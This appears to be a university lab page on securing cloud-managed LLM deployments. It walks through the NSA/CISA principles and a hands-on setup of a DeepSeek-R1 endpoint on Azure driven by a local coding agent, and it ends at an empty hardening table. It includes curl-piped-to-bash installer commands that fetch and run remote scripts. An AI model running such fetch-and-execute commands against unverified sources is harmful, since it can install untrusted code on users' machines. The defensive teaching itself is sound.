Secure deployment · cloud
The cloud owns more than you think. You own less than the cloud says you do.
Cloud-managed serving is the most common production deployment pattern for large-language-model (LLM) applications today, and the most common misunderstood deployment pattern. The cloud documentation says "we handle everything"; the audit log says you misconfigured identity and access management (IAM) in week one. This lab makes the line explicit so you can defend the parts that are actually yours.
The promise of a managed cloud platform — Google's Vertex AI, Microsoft's Azure AI Foundry, Amazon's Bedrock + SageMaker — is that you trade operational complexity for monthly billing. The promise is real and the trade-off is real. What the marketing pages tend to skip is the shared-responsibility model: who is on the hook for which layer of the stack. In April 2024 the NSA, the Cybersecurity and Infrastructure Security Agency (CISA), and five allied cyber agencies jointly published the most authoritative current answer to that question; it's the spine of this lab.
Cloud and identity vocabulary appears throughout: Entra ID, managed identity, IMDS, Key Vault / KMS, RBAC, private endpoint. Every term underlined like this is hoverable: an explainer opens directly below the line you're reading, pushing the rest of the page down — nothing gets covered.
Where to find it
- NSA / CISA joint guidance — the authoritative 2024 doc. media.defense.gov.
- Vertex AI — Google's managed machine-learning (ML) platform (Model Garden, endpoints, agent builder). cloud.google.com/vertex-ai.
- Azure AI Foundry — Microsoft's umbrella platform (was Azure ML + Azure OpenAI + Cognitive Services). learn.microsoft.com/azure/ai-studio.
- AWS Bedrock + SageMaker — Amazon's managed-model service + ML platform. docs.aws.amazon.com/bedrock.
- A paid Azure subscription — pay-as-you-go, set up with a payment method and a spend budget. A prepaid debit card is ideal for a lab: its loaded balance is a hard ceiling Azure can never exceed. This is the account the hands-on uses. azure.microsoft.com/…/pay-as-you-go.
- DeepSeek-R1 — DeepSeek's MIT-licensed open-weights frontier model: strong at code, supports tool-calling (so agents can drive it), and hosted on Azure as a sold-by-Azure serverless offer — the cleanest CLI deploy. deepseek.com · weights on Hugging Face.
- Deep Agents Code (
dcode) — LangChain's open-source terminal coding agent, built on thedeepagentssoftware development kit (SDK). docs.langchain.com/…/deepagents/code.
1 · Why cloud-managed?
Three honest reasons, in order of how often they matter:
- Think · 2 minManaged inference trades operational complexity for monthly billing. On your own, name the single biggest reason a team-of-one can't just self-host (think hardware access), and the single biggest security cost they accept in return — where does your data actually go that you can no longer see?
I've done the Think step — reveal Pair & Share
- Pair · 3 minCompare. Did your partner lead with cost, with GPUs, or with compliance? Which of you flagged vendor lock-in as a security concern and not just a budget one?
- Share · 2 minAs a table, commit to the one reason you'd give a skeptical advisor for going managed and the one risk you'd disclose in the same breath — then check both against the two lists in §1.
- You can't get GPUs. The hyperscalers have them; you don't. For most graduate research and most production launches in 2026, managed inference is the only way to access H100/H200/B200-class hardware in under three months.
- Compliance becomes a config flag. SOC 2, HIPAA, FedRAMP, GDPR data-residency — the platforms have spent years getting their underlying infrastructure certified. You inherit the certifications by deploying into the right region with the right service flags.
- Operational complexity gets amortized. Autoscaling, multi-region failover, model-version-pinned rollouts, audit logging — the platforms ship these as primitives. Your team-of-one doesn't have to build them.
And three honest reasons the trade-off goes the other way:
- Per-request pricing. At scale, managed inference is dramatically more expensive than self-hosted. Crossover point is typically 10–100M requests/month.
- Data residency you don't fully control. Even "your data in your region," the platform's logs, debug artifacts, and abuse-prevention systems may touch your data outside your view.
- Lock-in. Vertex's agent framework is not portable to Bedrock. Foundry's content filter is not exposed elsewhere. The convenience comes with a vendor.
2 · The Azure AI stack · one service per security job
This lab builds on Azure, so here's the toolbox you'll actually touch, mapped to the security job each service does and the one thing you configure. Every row is a layer from the Lab 12 stack that the shared-responsibility line hands to you.
| Security job | Azure service | What you configure |
|---|---|---|
| Serve an open-weights model | Azure AI Foundry model catalog (serverless or managed compute) | Which model, which deployment mode, content filter on |
| Frontier first-party model | Azure OpenAI (GPT family) | Deployment + content filter tier |
| Identity & authorization | Microsoft Entra ID + managed identity | Least-privilege RBAC roles, no static keys |
| Private networking | Private Endpoints + virtual network (VNet) / NSG (network security group) | Default-deny public; no Internet-sourced rules |
| Secrets & keys at rest | Azure Key Vault (customer-managed keys) | RBAC access model, rotation, purge old versions |
| Audit logging | Azure Monitor + Log Analytics (KQL, Kusto Query Language) | Diagnostic settings, retention, alerts |
| Output safety filter | Azure AI Content Safety | On by default; tune categories/thresholds |
| Threat detection | Microsoft Defender for Cloud | Enable plans; triage findings |
| Account & billing | Pay-as-you-go subscription + Cost Management budget | Prepaid debit card = hard ceiling; budget alerts |
Google's Vertex AI and AWS Bedrock + SageMaker have an equivalent for every row — Workload Identity vs. managed identity, virtual private cloud (VPC) Service Controls vs. Private Endpoints, Cloud KMS vs. Key Vault. The concepts transfer cleanly; the names, the APIs, and the default-on/off states don't. The rest of this lab is Azure-specific on purpose — you learn the shape of one production cloud in depth rather than three in outline.
3 · The NSA joint guidance · seven principles
In April 2024 the NSA, CISA, FBI, and the cyber agencies of Australia, Canada, New Zealand, and the UK jointly published Deploying AI Systems Securely. It's 19 pages, vendor-neutral, and the most authoritative current statement of what a hardened deployment looks like. The seven themes, compressed:
- Think · 3 minBefore reading their list: if seven cyber agencies had to compress "secure AI deployment" into seven principles, what would you write down? On your own, jot seven — and be concrete about the AI-specific ones (where do model weights, query monitoring, and exposed inference APIs fit that a generic web-app checklist would miss?).
I've done the Think step — reveal Pair & Share
- Pair · 3 minTrade lists. Which principle did your partner have that you didn't? Did either of you separate "encrypt the weights" from "control who can assume the role that reads them" — or did you collapse them into one?
- Share · 2 minAs a table, pick the one principle you predict you'll see violated most often in real deployments, then track whether it's the one the attack chain leans on in §7.
- Inherit a secure deployment environment — don't harden a deployment after the fact; deploy it into a foundation that is already hardened. That foundation is a landing zone: a pre-built, pre-secured cloud environment (identity, networking, logging, and guardrails already wired up) that new workloads drop into. You keep it hardened with baseline policies — rules the platform auto-enforces, like Azure Policy denying a public IP address or requiring encryption — checked against a published standard such as the CIS Benchmarks (the Center for Internet Security's freely-published, consensus list of secure configuration settings for a given platform). And the paved road is the platform team's pre-approved, secure-by-default template for deploying, so that doing the secure thing is also the easy thing — you don't have to reinvent (and forget) the security controls each time.
- Continuously protect the artificial-intelligence (AI) system — model and weights at rest (encrypted via a KMS, a key management service), in transit (Transport Layer Security (TLS) 1.3, mutual TLS (mTLS) for internal), and in use (a trusted execution environment, TEE, for the highest-stakes workloads).
- Secure exposed APIs (application programming interfaces) — strong authentication (workload identity, not static keys), input validation, rate limiting, output filtering.
- Actively monitor model behaviour — anomaly detection on query distributions, drift detection, output classifier verdicts logged and reviewed.
- Protect model weights — provenance, integrity checks, access control on training datasets and fine-tuned variants. Treat weights as crown-jewel IP.
- Enforce strict access controls — IAM least-privilege, no broad service accounts, time-bound elevation, separation of duties.
- Conduct ongoing testing — red-team exercises, adversarial robustness tests, supply-chain audits. Not just at launch — continuously.
None of these are surprising. The value of the document is that seven cyber agencies wrote them down together, which makes it the right artifact to cite in your security review meeting when someone asks "is this safe enough?" The answer becomes a checklist, not a vibe.
4 · Shared responsibility, written out
The try-it widget at the top of the page is the canonical reference for this section. In prose: with managed inference (the middle position in the widget), the cloud owns the bottom of the component stack from Lab 12 (hardware, inference runtime, the inference server) and you own the top (your API gateway, application logic, identity, observability config). Three layers in between are explicitly shared — model weights, network, and observability — where each side has a distinct job and the breach usually happens in the seam. Click through the widget layer by layer to see exactly who owns what. Two specific responsibilities people get wrong:
- Think · 2 minThe marketing page says "we handle security." On your own, list three specific things that are still entirely yours on managed inference — and for each, name a real breach (or breach class) that happened because a customer assumed the cloud had it covered.
I've done the Think step — reveal Pair & Share
- Pair · 3 minCompare your lists. Did either of you put "private endpoints" in the cloud's column? Argue out whether a private endpoint actually stops a compromised service account in your own VPC.
- Share · 2 minAs a table, write the two customer-owned responsibilities you think students most often misattribute to the cloud — then check them against the two callouts in §4 below.
Half-true. The cloud handles infrastructure security — physical access, hypervisor isolation, patching of the inference runtime, encryption at rest. The cloud does not handle your IAM policies, your VPC configuration, your audit log retention, your system prompt, your output filtering, or your rate limits. The Capital One breach (2019) — an SSRF-to-metadata-service attack, the same pattern you walk in §7 — and the Snowflake credential-stuffing campaign (2024) are both "the cloud handled their part; the customer didn't."
Necessary, not sufficient. Private endpoints stop your traffic from crossing the public internet, which removes a real class of attack. They do not stop a compromised service account in your VPC from calling the model API freely; that's an IAM problem. They do not stop prompt injection; that's an application problem. The defense-in-depth point from Lab 11 applies here.
5 · Hands-on · deploy DeepSeek-R1 on Azure and drive it with a coding agent ~75 min
You're going to build a self-hosted, open-source Claude Code: a local coding agent (Deep Agents Code, dcode) driven by a frontier model you run yourself (DeepSeek-R1) on infrastructure you rent. The agent lives on your laptop; the model lives on Azure. Everything — signup aside — happens from the terminal, so you see what a production deployment actually looks like from the operator's chair, not a portal's happy path.
The shape is deliberately the same as the coding assistant you already use: a thin local agent that reads your repo and runs your shell, talking to a big model over the network. The difference — and the entire lesson — is that you own the model and the deployment. That splits into three decisions, and the interesting security lives at their intersection:
- Why cloud-managed, not self-hosted? You can't get a graphics processing unit (GPU) big enough for a frontier model, and you don't want to be the site reliability engineer (SRE). Azure runs the silicon and the serving runtime; you keep control of identity, network, and data.
- Why DeepSeek-R1, not GPT or Claude? It's open weights under an MIT license with frontier-class coding and tool-calling. Open weights means no per-token frontier pricing, no vendor lock-in on the model itself, and the option to move it in-house later. You're buying hosting from Azure, not the model — a very different lock-in profile from a SaaS API.
- Why hook it to an agent? Because that's what these models are for now, and it's where the risk moved.
dcodecan read your files, edit them, and run your shell. The moment a model drives a shell, "the model said something wrong" becomes "the model ran something wrong on your machine." Securing the endpoint (auth, private networking, content safety, audit) and constraining the agent (approval gates, scoped tools, a sandbox) are the same defense-in-depth idea attacked from two sides — the cloud side and the client side.
- Think · 2 minYou're about to wire five things — an Entra login, a Foundry project, a DeepSeek-R1 endpoint with a key, a content filter, and an audit sink — and then hand the endpoint's key to an agent that runs your shell. On your own, predict the single setting whose default value most decides whether this is safe: is it the endpoint's network exposure, the key you paste into the agent's config, or the agent's shell-approval gate? Write down what goes wrong if each is left at its default.
I've done the Think step — reveal Pair & Share
- Pair · 3 minCompare. Did one of you pick a cloud-side control (public endpoint) and the other a client-side one (auto-approve shell)? Argue out which one an attacker reaches first — and whether a private endpoint helps at all once the agent on your laptop holds a valid key.
- Share · 2 minAs a table, commit to the one cloud-side and one client-side setting you'd check first, then track them through 5.3 (endpoint auth/network) and 5.5 (dcode approval gates).
Reveal the answer (after you've committed)
The trap in the question is "single." There are two load-bearing settings and they sit on opposite sides of the trust boundary — assuming one covers the other is how the incident happens.
- Endpoint network exposure (cloud-side) — safe at its default, if you stay on the paved road. The serverless endpoint is key-authenticated and Content Safety is on out of the box. Network exposure only becomes load-bearing when you leave that road and self-host on a VM whose NSG opens the port to the internet — the §7 finale. On the serverless path this default is fine.
- The key — the pivot, not a setting so much as where you put it. It's a bearer credential: whoever holds it can call your model and bill your subscription. The danger is pasting it into
~/.deepagents/.envor committing it, so a laptop compromise (or a prompt-injected agent reading its own config) walks off with it. Keep it in an env var or Key Vault; rotate it. - The shell-approval gate (client-side) — the one whose default is actively protecting you.
dcodeships with approval gates on. Flip them off (a--yolo-style flag) and a hallucinated or prompt-injected command runs on your machine. That single default going from on to off is the change most likely to turn "the model said something wrong" into "the model ran something wrong."
The Pair-step punchline: a private endpoint does not help once the agent on your laptop holds a valid key. The agent authenticates legitimately, so a network control never sees an "attacker" to block. That's why the worst-case blast radius is bounded on the client side (the approval gate), not the cloud side — and why the honest answer is "check both, and never assume the cloud-side control contains a client-side failure." You'll wire the cloud side in §5.3, the approval gate in §5.5, and key handling in §6, hardening row 8.
Prerequisites — open by default; collapse if your environment is ready.
The balance you load on the prepaid card — reinforced by the spend budget you set — is your ceiling; the only question is billing shape:
- Serverless — pay per token. You're billed only for what the agent generates, so a coding agent can run against it for weeks on a small balance. Prefer this.
- Managed compute — pay per hour. A GPU VM bills whether or not anyone is using it, so it burns the balance fast unless you scale it to zero — drop its running instance count to 0 (or just delete the deployment) so no GPU is billing while you're not using it.
One wrinkle: a brand-new subscription occasionally needs a few minutes after the card is added before it will create serverless (pay-as-you-go) deployments. If az ml serverless-endpoint create is rejected at first, wait and retry or fall back to managed compute (below). Either way, the endpoint, agent, and audit steps are identical.
5.1 Set up your Azure subscription (CLI, a paid plan, and a budget)
Create the subscription in the browser once — a pay-as-you-go plan with a prepaid debit card as the payment method and a budget set (both covered below) — then do everything else from the terminal.
Install the Azure CLI if you don't have az yet:
- macOS:
brew install azure-cli - Windows:
winget install -e --id Microsoft.AzureCLI(or the MSI installer) - Linux (Debian/Ubuntu):
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash— other distros
Then add the ML extension and check the version:
az extension add -n ml # or: az extension update -n ml (to refresh it)
az version # azure-cli 2.70+ recommended
Sign in. az login opens a browser for the Entra sign-in and caches a token every later command reuses. On a headless or SSH box where no browser can open, use the device-code flow:
az login # opens a browser → Microsoft Entra ID sign-in
az login --use-device-code # headless / remote alternative
Pick — and verify — the subscription. You may have more than one (a university or personal subscription and your lab subscription). List them, set the one you intend to spend on by name or id, and confirm you landed on it:
az account list -o table # every subscription you can see
az account set --subscription "DS6042 Lab" # or: --subscription <id>
az account show --query "{name:name, state:state, user:user.name}" -o table
$ az account show --query "{name:name, state:state, user:user.name}" -o table Name State User ----------- ------- ------------------ DS6042 Lab Enabled you@virginia.edu
Gotcha we hit testing this lab · "Enabled" locally ≠ usable
az account list reads a cached list and can report a subscription as Enabled even after it has been disabled — and a subscription is disabled if its payment method fails or a spending limit is hit (a prepaid card drained to $0 stops it cold). Your first resource command then fails with SubscriptionNotFound. Verify the subscription is actually live at the control plane before you rely on it:
# authoritative check — does Azure Resource Manager (ARM) actually return this subscription?
az account subscription list --query "[].{name:displayName, state:state}" -o table
# simplest smoke test — can you list resource groups in it?
az group list -o table
If the subscription shows Enabled in az account list but is missing from az account subscription list (or az group list errors with SubscriptionNotFound), it's disabled — top up the prepaid card / fix the payment method, or switch to another with az account set. And check the name in az account show every time: it is easy to be dropped onto a shared production subscription by default and deploy lab resources into it by accident.
The cache is stale in both directions: a subscription you just created (or that was just shared with you) can be missing from az account list even though it's live. Force a refresh instead of re-logging in:
az account list --refresh -o table # re-pulls the list using your current token
Create the pay-as-you-go subscription. If you don't have one yet, add it from Subscriptions → + Add: the wizard's Basics tab picks your billing account and the Microsoft Azure Plan, you attach your prepaid debit card as the payment method, and its Budget tab sets a spend alert in the same flow. Pay-as-you-go is what enables serverless deployments and lifts the low default rate limits.
A brand-new or spending-limited subscription gets low serverless rate limits and can't create pay-as-you-go serverless deployments — which is why the §5.4 smoke test may keep returning 429. Being on pay-as-you-go (which you set up in §5.1) is what relaxes the limit and lets az ml serverless-endpoint create work. Two controls keep the spend safe, and they do different jobs:
- The budget alerts. Portal → Cost Management → Budgets → + Add; scope it to your subscription, set an amount (e.g. $20) and email alerts at 50 / 80 / 100 %. A budget alerts — it does not hard-stop spending — so treat it as an early warning, not a cap.
- The prepaid card is the hard ceiling. A prepaid debit card is the safe choice for a lab: its loaded balance is a hard ceiling — Azure can never charge more than what's on the card. That's the real cap the budget can't give you.
Tear the endpoint and resource group down when you're done (§5.7) so nothing keeps drawing on the card, and keep an eye on the budget alerts — a reasoning model driven by an agent can spend faster than you expect.
That user.name is your Entra ID — the same identity that will authorize the deployment, own the endpoint's keys, and appear in every audit-log line. This is workload/user identity, not a static key: principle #3 and #6 of the NSA list, satisfied before you deploy anything.
5.2 Stand up the Foundry project
A Foundry project is an Azure ML workspace with a model catalog attached. Create the resource group, register the resource providers a brand-new subscription needs, create the workspace, then set CLI defaults so later commands don't repeat them.
az extension add -n ml # once; 'az extension update -n ml' to refresh
az group create -n ds6042-lab13 -l eastus2
# On a NEW subscription these providers start unregistered. Register them first, or
# 'az ml workspace create' fails with MissingSubscriptionRegistration.
for ns in Microsoft.MachineLearningServices Microsoft.Storage Microsoft.KeyVault \
Microsoft.ContainerRegistry Microsoft.Insights Microsoft.CognitiveServices; do
az provider register --namespace $ns
done
# registration is async (1-3 min); wait until this prints 'Registered':
az provider show -n Microsoft.MachineLearningServices --query registrationState -o tsv
az ml workspace create -n ds6042-foundry -g ds6042-lab13 -l eastus2 # ~3-5 min
# make these the defaults for every 'az ml' command below
az configure --defaults group=ds6042-lab13 workspace=ds6042-foundry location=eastus2az extension add -n ml # once; 'az extension update -n ml' to refresh
az group create -n ds6042-lab13 -l eastus2
# On a NEW subscription these providers start unregistered. Register them first, or
# 'az ml workspace create' fails with MissingSubscriptionRegistration.
$providers = "Microsoft.MachineLearningServices","Microsoft.Storage","Microsoft.KeyVault",
"Microsoft.ContainerRegistry","Microsoft.Insights","Microsoft.CognitiveServices"
foreach ($ns in $providers) { az provider register --namespace $ns }
# registration is async (1-3 min); wait until this prints 'Registered':
az provider show -n Microsoft.MachineLearningServices --query registrationState -o tsv
az ml workspace create -n ds6042-foundry -g ds6042-lab13 -l eastus2 # ~3-5 min
# make these the defaults for every 'az ml' command below
az configure --defaults group=ds6042-lab13 workspace=ds6042-foundry location=eastus2MissingSubscriptionRegistrationon a fresh subscription — the providers above aren't registered by default. Register them once per subscription and wait forRegisteredbefore creating the workspace.- The workspace create takes ~3-5 minutes and provisions four dependencies you'll see appear in the resource group: a storage account, a Key Vault, Application Insights, and (later, on demand) a container registry. That's expected, not a bug.
- Region matters — twice. First, not every region offers serverless DeepSeek-R1;
eastus2is a safe default, and if §5.3 says the model isn't available, recreate the workspace in a supported region. Second, your subscription or organization may restrict regions via an "allowed locations" Azure Policy — soaz group create -l eastus2can fail withRequestDisallowedByPolicyif eastus2 isn't allowed. See (and confirm) which regions you're allowed in Policy → Assignments, then pick a region that is both policy-allowed and offers the model.
5.3 Deploy DeepSeek-R1 from the model catalog
DeepSeek-R1 is an open-weights (MIT-licensed) frontier reasoning model that's strong at code, and Azure hosts it as a "sold by Azure" serverless offering — the cleanest possible deploy: no Marketplace subscription, just an endpoint. We deployed exactly this end-to-end while writing the lab (create → smoke test → teardown), so the commands below are the ones that actually worked. Confirm the Model ID first:
az ml model show --name DeepSeek-R1 --registry-name azureml-deepseek --query id -o tsv
# → azureml://registries/azureml-deepseek/models/DeepSeek-R1/versions/N
Drop the trailing /versions/N (serverless always deploys the latest) and put the Model ID in an endpoint spec:
endpoint.yml
name: deepseek-r1-lab13
model_id: azureml://registries/azureml-deepseek/models/DeepSeek-R1
# DeepSeek is "sold by Azure" → deploy straight to a serverless endpoint, no subscription step.
az ml serverless-endpoint create -f endpoint.yml # ~2-5 min
az ml serverless-endpoint show -n deepseek-r1-lab13 --query provisioning_state -o tsv # → Succeeded
# the endpoint URL (the "Target URI") lives on the endpoint object:
az ml serverless-endpoint show -n deepseek-r1-lab13 --query scoring_uri -o tsv
# → https://deepseek-r1-lab13.<region>.models.ai.azure.com
# the API keys come from a SEPARATE call (two keys, so you can rotate one at a time):
az ml serverless-endpoint get-credentials -n deepseek-r1-lab13
# → { "primaryKey": "abcd… (32 chars)", "secondaryKey": "efgh… (32 chars)" }
az ml model show succeeding only proves the model asset exists. Whether it can be deployed serverless is a separate, per-model, per-region offer. While testing, a sibling model resolved fine yet serverless-endpoint create failed with ServerlessModelNotAvailable — it simply wasn't offered serverless in eastus2. DeepSeek-R1 is (that's why the lab uses it). If you see that error: pick a model whose catalog card lists Serverless API in your region, recreate the workspace in a supported region, or fall back to managed compute (next callout).
Between the two calls you now have the pair every later step needs: the Target URI (from show — the endpoint's HTTPS address, speaking the OpenAI-compatible Azure AI Model Inference API) and a bearer key (from get-credentials — use primaryKey). Two things are already true and load-bearing: the endpoint is key-authenticated (no anonymous calls) and content filtering is on by default (Azure AI Content Safety screens prompts and responses). Treat that key like a password — on its own it lets anyone call your model, bill your subscription, and (until §6) bypass every other control. §5.4 captures both straight into environment variables so you never paste the key into a file.
Models sold by Azure — DeepSeek, and Microsoft's own Phi — deploy straight to a serverless endpoint as above. Models from partners & community (some Mistral, Cohere, and others) are Azure Marketplace offers: for those you first subscribe the project, then create the endpoint.
# only for a partner/Marketplace model — subscription.yml carries the same name + model_id
az ml marketplace-subscription create -f subscription.yml
az ml serverless-endpoint create -f endpoint.yml
If serverless-endpoint create ever errors that a subscription is required, that's the model telling you it's a partner offer — create the Marketplace subscription first.
Serverless availability is regional. If the catalog card for DeepSeek-R1 shows only Managed compute in your region (or serverless create fails as unavailable), deploy that way instead: on the card choose Deploy → Managed compute, pick the smallest GPU SKU (stock-keeping unit, i.e. the VM size/tier) it fits on, and deploy. Same OpenAI-compatible endpoint + key downstream; the difference is you pay for a running VM (scale to zero or delete when done) and you need GPU quota on the subscription. Every later step — smoke test, dcode, audit — is identical.
5.4 Smoke-test the endpoint
Capture the URI and key straight from the CLI into environment variables — no copy-paste, no guessing the hostname, and the key never touches a file:
# the endpoint's base URL:
export DEEPSEEK_ENDPOINT=$(az ml serverless-endpoint show -n deepseek-r1-lab13 --query scoring_uri -o tsv)
# the bearer key (primaryKey field of get-credentials):
export DEEPSEEK_KEY=$(az ml serverless-endpoint get-credentials -n deepseek-r1-lab13 --query primaryKey -o tsv)
echo "endpoint: $DEEPSEEK_ENDPOINT" # sanity check → https://…models.ai.azure.com
Then hit the OpenAI-compatible route. Any OpenAI client library works unchanged — that's the whole point of a compatible API.
curl "$DEEPSEEK_ENDPOINT/v1/chat/completions" \
-H "Authorization: Bearer $DEEPSEEK_KEY" \
-H "Content-Type: application/json" \
-d '{"model":"DeepSeek-R1",
"messages":[{"role":"user","content":"Write a Python one-liner that reverses a string."}],
"max_tokens":2048}'
- Don't guess the hostname. Paste the exact Target URI from
get-credentialsintoDEEPSEEK_ENDPOINT— the region and the random suffix vary per deployment; the value above is only illustrative. - Two route conventions. If
/v1/chat/completionsreturns 404, the deployment is exposing the native Azure route instead — call$DEEPSEEK_ENDPOINT/chat/completions?api-version=2024-05-01-previewwith the same bearer key. Both speak the same request/response shape; OpenAI client libraries default to the/v1form. - 401/403 means the key didn't ride along — check the
Authorization: Bearerheader, notapi-key(Azure OpenAI resources useapi-key; serverless model endpoints useAuthorization: Bearer). - 429 ·
Rate Limit ... exceededis capacity, not your code — the auth worked (or you'd get 401). Serverless "sold by Azure" models run on shared capacity with a per-minute request/token cap, so a just-created endpoint or a busy region can 429 even on the first call. It's retryable: wait ~30–60 s and run it again, or add backoff (the dcode/SDK client already retries). If it persists, request a quota increase, or deploy to managed compute for dedicated capacity with no shared rate limit.
DeepSeek-R1 "thinks" before it answers: the response content contains a <think>…</think> block and then the answer. In our smoke test a one-word reply used 134 completion tokens. Two consequences: (1) set max_tokens generously (2048+) or the reply gets cut off inside the reasoning, before any answer appears; (2) reasoning tokens are billed, so R1 costs more per turn than a non-reasoning model — fine for a lab, worth knowing for an agent that loops. If you want cheaper, snappier agent turns and your region offers it, a non-reasoning DeepSeek/Qwen-Coder serverless model drops in with no other changes.
5.5 Hook it to Deep Agents Code (dcode)
dcode is LangChain's terminal coding agent: it plans, reads and edits files, runs shell commands, and spawns subagents — driven by whatever model you point it at. We point it at your DeepSeek-R1 endpoint. Because the endpoint is OpenAI-compatible, the agent treats it as an OpenAI model with a custom base URL and key.
It's one of several terminal coding agents that all do roughly the same job — plan, edit files, run your shell. What separates them for this lab is one question: can you point the agent at the model you host? That comes down to the wire format the agent expects a custom endpoint to speak, because your §5.4 endpoint talks the OpenAI Chat Completions API.
| Agent | Maker · open source? | Models it drives | Wire format for a custom endpoint | Drops onto your §5.4 Azure endpoint as-is? |
|---|---|---|---|---|
| dcode (Deep Agents Code) | LangChain · yes (MIT) | Any — provider:model or any LangChain chat model | OpenAI Chat Completions (base_url + key) | Yes — directly. This is what the lab uses. |
| opencode | SST / Anomaly · yes (MIT) | 75+ providers (OpenAI, Anthropic, Google, Bedrock, Azure, Ollama…) | OpenAI-compatible + per-provider plugins | Yes — add its Azure / OpenAI-compatible provider |
| Claude Code | Anthropic · no (CLI proprietary; Agent SDK is open) | Claude family (direct, or via Bedrock / Vertex / self-host) | Anthropic Messages API (/v1/messages) | Not directly — needs a translating gateway (e.g. LiteLLM) or an endpoint that speaks /v1/messages |
| Codex CLI | OpenAI · yes (Apache-2.0) | OpenAI GPT-5.x Codex; custom providers via config.toml | OpenAI Responses API (wire_api = "responses") | Not directly — a Chat-Completions endpoint needs a Responses-API gateway in front |
Why the lab uses dcode: it and opencode speak OpenAI Chat Completions, so they attach to your Azure endpoint with just the base URL and key from §5.4. Claude Code expects the Anthropic Messages API and Codex expects the OpenAI Responses API, so pointing those at a Chat-Completions endpoint means running a translating gateway (like LiteLLM) in between. Same agent capabilities — different plumbing, and the plumbing is the lesson: "OpenAI-compatible" is not one thing, so always check which API surface a client expects before you assume your endpoint drops in.
The SDK path (fully explicit, recommended for the lab). Build the model object yourself so the base URL, key, and model name are unambiguous:
# agent.py — DeepSeek-R1 on Azure, driving a coding deep agent
import os
from deepagents import create_deep_agent
from langchain_openai import ChatOpenAI
deepseek = ChatOpenAI(
base_url=os.environ["DEEPSEEK_ENDPOINT"] + "/v1", # your Azure Target URI
api_key=os.environ["DEEPSEEK_KEY"], # the endpoint's primary key
model="DeepSeek-R1",
temperature=0,
)
# create_deep_agent ships filesystem tools (ls/read_file/write_file/edit_file/glob/grep),
# a shell 'execute' tool, task-planning (write_todos), and subagents (task).
agent = create_deep_agent(
model=deepseek,
system_prompt="You are a careful coding agent. Explain before you run shell commands.",
)
result = agent.invoke({"messages": [
{"role": "user", "content": "Create fizzbuzz.py and run it for n=1..15."}
]})
print(result["messages"][-1].content)
pip install deepagents langchain-openai
python agent.py
The CLI path (the dcode binary). Same endpoint, driven interactively. Install it, expose the Azure endpoint through the OpenAI-compatible environment variables, and select the model with the provider:model syntax:
curl -LsSf https://langch.in/dcode | bash # installs the dcode CLI
export OPENAI_BASE_URL="$DEEPSEEK_ENDPOINT/v1" # point 'openai' provider at Azure
export OPENAI_API_KEY="$DEEPSEEK_KEY"
dcode --model openai:DeepSeek-R1 # interactive coding session
dcode --model openai:DeepSeek-R1 -n "Add a --json flag to cli.py and update the README"
- Isolate failures with §5.4 first. If dcode errors, re-run the raw
curlfrom §5.4. If curl works but dcode doesn't, it's a config problem (wrongOPENAI_BASE_URL, missing/v1, stale key), not the endpoint. - Confirm traffic is really hitting Azure by watching it appear in the §5.6 audit log after a prompt — that round-trip is the proof the agent is driving your model, not a cached local one.
- Tool-calling must work — and reasoning models are streakier at it. dcode's file/shell tools need the model to emit tool calls. DeepSeek-R1 is a reasoning model, and reasoning models are less consistent tool-callers than a dedicated coder. If the agent chats but never actually edits a file or runs a command, that's the model, not dcode — swap in a non-reasoning serverless coder (Qwen-Coder, a DeepSeek V-series if your region offers it) with no other config change.
- Config lives in
~/.deepagents/config.tomland~/.deepagents/.env— put the base URL and key there to avoid re-exporting them each session.
dcode's execute tool runs real shell commands. Its safety model is human approval gates on destructive operations — the client-side twin of the cloud-side content filter. Auto-approving everything (a --yolo-style flag, or an over-broad allow rule) is how "the model hallucinated rm -rf" or "a prompt-injected file told the agent to exfiltrate your keys" becomes real. This is the Lab 5 / Lab 10 agent-security lesson landing inside a deployment lab: the endpoint key you just minted now lives on a machine where an agent runs commands. Keep the gate on; run untrusted tasks in a sandbox (dcode supports remote sandboxes — Modal, E2B, LangSmith).
5.6 Audit logging · Azure Monitor
Diagnostic settings attach to the workspace (that's the resource that emits the model deploy/read/inferencing events — we confirmed the categories with az monitor diagnostic-settings categories list), and stream them to a Log Analytics workspace you can query with KQL. Answer "who called the model, when" the same day-one way §8 asks for.
az monitor log-analytics workspace create -g ds6042-lab13 -n ds6042-logs
# (optional) see exactly which log categories the workspace offers:
az monitor diagnostic-settings categories list \
--resource $(az ml workspace show -n ds6042-foundry --query id -o tsv) -o table
# stream all workspace diagnostics (model + deployment + inferencing events) to Log Analytics
az monitor diagnostic-settings create \
--name deepseek-audit \
--resource $(az ml workspace show -n ds6042-foundry --query id -o tsv) \
--workspace ds6042-logs \
--logs '[{"categoryGroup":"allLogs","enabled":true}]'
// KQL — recent Azure ML activity, newest first (field names vary by category;
// run a bare 'AzureDiagnostics | take 50' first to see the columns your events carry)
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.MACHINELEARNINGSERVICES"
| where TimeGenerated > ago(24h)
| project TimeGenerated, OperationName, Category, CallerIPAddress
| order by TimeGenerated desc
Now the endpoint is authenticated, content-filtered, and audited; the agent driving it has an approval gate; and every request lands in a warehouse you can SQL. That is the NSA checklist, satisfied from the command line.
5.7 Tear it down (do this — it's how you stop the bill)
Cloud resources bill until you delete them. A serverless endpoint only bills per token, but the workspace's storage, Key Vault, and any managed-compute VM keep costing money while they exist. When you're done for the day, delete the endpoint (and its Marketplace subscription); when you're done with the lab, delete the whole resource group in one shot.
# stop token billing: delete the endpoint (DeepSeek is sold-by-Azure, no subscription to remove).
# NOTE: 'serverless-endpoint delete' has NO --yes flag; it deletes without a prompt.
az ml serverless-endpoint delete -n deepseek-r1-lab13 --no-wait
# only if you deployed a PARTNER model and created a Marketplace subscription:
# az ml marketplace-subscription delete -n <sub-name>
# nuke everything from this lab at once (irreversible — deletes the whole group)
az group delete -n ds6042-lab13 --yes --no-wait
# confirm it's gone
az group exists -n ds6042-lab13 # → false once the delete finishes
- Soft-delete keeps Key Vault around. The Key Vault created by the workspace is soft-deleted, not gone — it lingers (and can block re-creating a same-named vault) for the retention window. Purge it if you need the name back:
az keyvault purge -n <vault-name>. - Managed compute is the expensive mistake. If you took the managed-compute path, the GPU VM bills per hour even idle. Deleting the resource group removes it, but double-check with
az ml online-endpoint list/az vm list -o tablethat nothing GPU-shaped is still running.
6 · Hardening · the NSA checklist on this deployment
Going back to the seven principles in §3, here's how each maps to specific Azure configuration for the DeepSeek-R1 + dcode deployment — plus one row the NSA list predates: constraining the agent that now holds your endpoint key.
| NSA principle | What to enable on Azure |
|---|---|
